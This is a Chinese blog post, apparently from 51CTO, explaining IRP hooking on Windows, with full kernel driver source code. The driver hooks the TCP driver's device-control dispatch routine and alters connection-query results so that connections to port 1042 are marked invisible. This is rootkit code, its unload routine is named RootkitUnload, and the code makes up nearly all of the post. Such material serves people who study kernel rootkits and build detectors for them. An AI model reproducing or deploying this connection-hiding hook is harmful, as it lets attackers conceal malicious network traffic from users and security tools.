手记

IRPhook


原理:

直接IoGetDeviceObjectPointer根据名称获取驱动对象,然后更改分发函数数组元素即可HOOK指定IRP分发函数。

//irphook.h

/////////////////////////////////////////////////////////////////////////////////////// 

typedef BOOLEAN BOOL;

typedef unsigned long DWORD;

typedef DWORD * PDWORD;

typedef unsigned long ULONG;

typedef unsigned short WORD;

typedef unsigned char BYTE;

typedef BYTE * LPBYTE;

#define IOCTL_TCP_QUERY_INFORMATION_EX 0x00120003

//#define MAKEPORT(a, b)   ((WORD)(((UCHAR)(a))|((WORD)((UCHAR)(b))) << 8))

#define HTONS(a)  (((0xFF&a)<<8) + ((0xFF00&a)>>8))

typedef struct _CONNINFO101 {

   unsigned long status; 

   unsigned long src_addr; 

   unsigned short src_port; 

   unsigned short unk1; 

   unsigned long dst_addr; 

   unsigned short dst_port; 

   unsigned short unk2; 

} CONNINFO101, *PCONNINFO101;

typedef struct _CONNINFO102 {

   unsigned long status; 

   unsigned long src_addr; 

   unsigned short src_port; 

   unsigned short unk1; 

   unsigned long dst_addr; 

   unsigned short dst_port; 

   unsigned short unk2; 

   unsigned long pid;

} CONNINFO102, *PCONNINFO102;

typedef struct _CONNINFO110 {

   unsigned long size;

   unsigned long status; 

   unsigned long src_addr; 

   unsigned short src_port; 

   unsigned short unk1; 

   unsigned long dst_addr; 

   unsigned short dst_port; 

   unsigned short unk2; 

   unsigned long pid;

   PVOID    unk3[35];

} CONNINFO110, *PCONNINFO110;

typedef struct _REQINFO {

    PIO_COMPLETION_ROUTINE OldCompletion;

    unsigned long          ReqType;

} REQINFO, *PREQINFO;

PFILE_OBJECT pFile_tcp;

PDEVICE_OBJECT pDev_tcp;

PDRIVER_OBJECT pDrv_tcpip;

typedef NTSTATUS (*OLDIRPMJDEVICECONTROL)(IN PDEVICE_OBJECT, IN PIRP);

OLDIRPMJDEVICECONTROL OldIrpMjDeviceControl;

NTSTATUS RootkitUnload(IN PDRIVER_OBJECT);

NTSTATUS InstallTCPDriverHook();

NTSTATUS HookedDeviceControl(IN PDEVICE_OBJECT, IN PIRP);

NTSTATUS IoCompletionRoutine(IN PDEVICE_OBJECT, IN PIRP, IN PVOID);

//irphook.cpp

#include <ntddk.h>

#include <tdiinfo.h>

#include "irphook.h"

NTSTATUS DriverEntry(

                   IN PDRIVER_OBJECT  DriverObject,

                   IN PUNICODE_STRING RegistryPath

                    )

{

    NTSTATUS                ntStatus;

    OldIrpMjDeviceControl = NULL;

    DriverObject->DriverUnload = RootkitUnload;

    ntStatus = InstallTCPDriverHook();

    if(!NT_SUCCESS(ntStatus)) 

        return ntStatus;

    return STATUS_SUCCESS;

}

NTSTATUS InstallTCPDriverHook()

{

    NTSTATUS       ntStatus;

//  UNICODE_STRING deviceNameUnicodeString;

//  UNICODE_STRING deviceLinkUnicodeString;        

    UNICODE_STRING deviceTCPUnicodeString;

    //想hook的对象

    WCHAR deviceTCPNameBuffer[]  = L"\\Device\\Tcp";

    pFile_tcp  = NULL;

    pDev_tcp   = NULL;

    pDrv_tcpip = NULL;

    RtlInitUnicodeString (&deviceTCPUnicodeString, deviceTCPNameBuffer);

    //通过名字获取设备对象的指针

    //设备名字  权限  文件对象  设备对象

    ntStatus = IoGetDeviceObjectPointer(&deviceTCPUnicodeString, FILE_READ_DATA, &pFile_tcp, &pDev_tcp);

    if(!NT_SUCCESS(ntStatus)) 

        return ntStatus;

    //驱动对象

    pDrv_tcpip = pDev_tcp->DriverObject;

    //分发处理例程  保存原始函数用于处理后下发

    OldIrpMjDeviceControl = pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL]; 

    if (OldIrpMjDeviceControl)

        InterlockedExchange ((PLONG)&pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL], (LONG)HookedDeviceControl);

    return STATUS_SUCCESS;

}

//hook

NTSTATUS HookedDeviceControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)

{

    PIO_STACK_LOCATION      irpStack;

    ULONG                   ioTransferType;

    TDIObjectID             *inputBuffer;

    DWORD                   context;

    //DbgPrint("The current IRP is at %x\n", Irp);

    irpStack = IoGetCurrentIrpStackLocation (Irp);

    switch (irpStack->MajorFunction) 

    {

        case IRP_MJ_DEVICE_CONTROL:

            if ((irpStack->MinorFunction == 0) && \

                (irpStack->Parameters.DeviceIoControl.IoControlCode == IOCTL_TCP_QUERY_INFORMATION_EX))

            {

                ioTransferType = irpStack->Parameters.DeviceIoControl.IoControlCode;

                ioTransferType &= 3;

                if (ioTransferType == METHOD_NEITHER) // Need to know the method to find input buffer

                {

                    inputBuffer = (TDIObjectID *) irpStack->Parameters.DeviceIoControl.Type3InputBuffer;

                    // CO_TL_ENTITY is for TCP and CL_TL_ENTITY is for UDP

                    if (inputBuffer->toi_entity.tei_entity == CO_TL_ENTITY)

                    { 

                        // DbgPrint("Input buffer %x\n",inputBuffer);

                        if ((inputBuffer->toi_id == 0x101) || (inputBuffer->toi_id == 0x102) || (inputBuffer->toi_id == 0x110))

                        {

                            // Call our completion routine if IRP successful

                            irpStack->Control = 0;

                            irpStack->Control |= SL_INVOKE_ON_SUCCESS; 

                            // Save old completion routine if present

                            irpStack->Context = (PIO_COMPLETION_ROUTINE) ExAllocatePoolWithTag(NonPagedPool, sizeof(REQINFO), 'PRI');

                            ((PREQINFO)irpStack->Context)->OldCompletion = irpStack->CompletionRoutine; 

                            ((PREQINFO)irpStack->Context)->ReqType       = inputBuffer->toi_id;

                            // Setup our function to be called on completion of IRP

                            irpStack->CompletionRoutine = (PIO_COMPLETION_ROUTINE)IoCompletionRoutine;

                        }

                    }

                }

            }

        break;

        default:

        break;

    }

    return OldIrpMjDeviceControl(DeviceObject, Irp);

}

NTSTATUS IoCompletionRoutine(IN PDEVICE_OBJECT DeviceObject, 

                             IN PIRP Irp, 

                             IN PVOID Context)

{

    PVOID OutputBuffer;

    DWORD NumOutputBuffers;

    PIO_COMPLETION_ROUTINE p_compRoutine;

    DWORD i;

    // Connection status values:

    // 0 = Invisible

    // 1 = CLOSED

    // 2 = LISTENING

    // 3 = SYN_SENT

    // 4 = SYN_RECEIVED

    // 5 = ESTABLISHED

    // 6 = FIN_WAIT_1

    // 7 = FIN_WAIT_2

    // 8 = CLOSE_WAIT

    // 9 = CLOSING

    // ...

    OutputBuffer = Irp->UserBuffer;

    p_compRoutine = ((PREQINFO)Context)->OldCompletion;

    if (((PREQINFO)Context)->ReqType == 0x101)

    {

        NumOutputBuffers = Irp->IoStatus.Information / sizeof(CONNINFO101);

        for(i = 0; i < NumOutputBuffers; i++)

        {

            // Hide all Web connections

            if (HTONS(((PCONNINFO101)OutputBuffer)[i].dst_port) == 1042)

                ((PCONNINFO101)OutputBuffer)[i].status = 0;

        }

    }

    else if (((PREQINFO)Context)->ReqType == 0x102)

    {

        NumOutputBuffers = Irp->IoStatus.Information / sizeof(CONNINFO102);

        for(i = 0; i < NumOutputBuffers; i++)

        {

            // Hide all Web connections

            if (HTONS(((PCONNINFO102)OutputBuffer)[i].dst_port) == 1042)

                ((PCONNINFO102)OutputBuffer)[i].status = 0;

        }

    }

    else if (((PREQINFO)Context)->ReqType == 0x110)

    {

        NumOutputBuffers = Irp->IoStatus.Information / sizeof(CONNINFO110);

        for(i = 0; i < NumOutputBuffers; i++)

        {

            // Hide all Web connections

            if (HTONS(((PCONNINFO110)OutputBuffer)[i].dst_port) == 1042)

                ((PCONNINFO110)OutputBuffer)[i].status = 0;

        }

    }

    ExFreePool(Context);

    /*

    for(i = 0; i < NumOutputBuffers; i++)

    {

        DbgPrint("Status: %d",OutputBuffer[i].status);

        DbgPrint(" %d.%d.%d.%d:%d",OutputBuffer[i].src_addr & 0xff,OutputBuffer[i].src_addr >> 8 & 0xff, OutputBuffer[i].src_addr >> 16 & 0xff,OutputBuffer[i].src_addr >> 24,HTONS(OutputBuffer[i].src_port));

        DbgPrint(" %d.%d.%d.%d:%d\n",OutputBuffer[i].dst_addr & 0xff,OutputBuffer[i].dst_addr >> 8 & 0xff, OutputBuffer[i].dst_addr >> 16 & 0xff,OutputBuffer[i].dst_addr >> 24,HTONS(OutputBuffer[i].dst_port));

    }*/

    if ((Irp->StackCount > (ULONG)1) && (p_compRoutine != NULL))

    {

        return (p_compRoutine)(DeviceObject, Irp, NULL);

    }

    else

    {

        return Irp->IoStatus.Status;

    }

}

NTSTATUS RootkitUnload(IN PDRIVER_OBJECT DriverObject)

{

    if (OldIrpMjDeviceControl)

        InterlockedExchange ((PLONG)&pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL], (LONG)OldIrpMjDeviceControl);    

    if (pFile_tcp != NULL)

        ObDereferenceObject(pFile_tcp);

    pFile_tcp = NULL;

    return STATUS_SUCCESS;

}

©著作权归作者所有:来自51CTO博客作者土匪猿的原创作品,如需转载,请注明出处,否则将追究法律责任


0人推荐
随时随地看视频
慕课网APP